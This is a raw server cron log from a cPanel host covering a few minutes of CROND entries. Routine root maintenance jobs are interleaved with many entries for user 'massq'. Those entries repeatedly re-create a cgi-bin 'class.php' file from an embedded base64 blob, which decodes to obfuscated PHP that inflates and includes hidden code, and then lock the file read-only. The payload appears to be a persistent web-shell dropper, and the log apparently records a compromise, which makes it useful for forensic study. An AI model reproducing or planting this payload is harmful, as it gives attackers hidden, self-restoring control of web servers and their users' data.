Nov  9 03:29:01 server CROND[6781]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 03:30:01 server CROND[7345]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 03:30:01 server CROND[7346]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 03:30:01 server CROND[7348]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 03:30:01 server CROND[7347]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov  9 03:31:01 server CROND[8164]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 03:32:01 server CROND[9149]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 03:33:01 server CROND[9960]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 03:34:01 server CROND[10770]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 03:35:01 server CROND[11658]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 03:35:01 server CROND[11659]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 03:35:01 server CROND[11664]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check &amp;&amp; /usr/local/cpanel/bin/tail-check)
Nov  9 03:35:01 server CROND[11670]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov  9 03:35:01 server CROND[11673]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 03:36:01 server CROND[12578]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 03:37:01 server CROND[13402]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 03:38:01 server CROND[14231]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 03:39:01 server CROND[14983]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov  9 03:39:01 server CROND[14984]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 03:40:01 server CROND[15813]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov  9 03:40:01 server CROND[15814]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 03:40:01 server CROND[15815]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 03:40:01 server CROND[15816]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 03:41:01 server CROND[16772]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 03:42:01 server CROND[17594]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
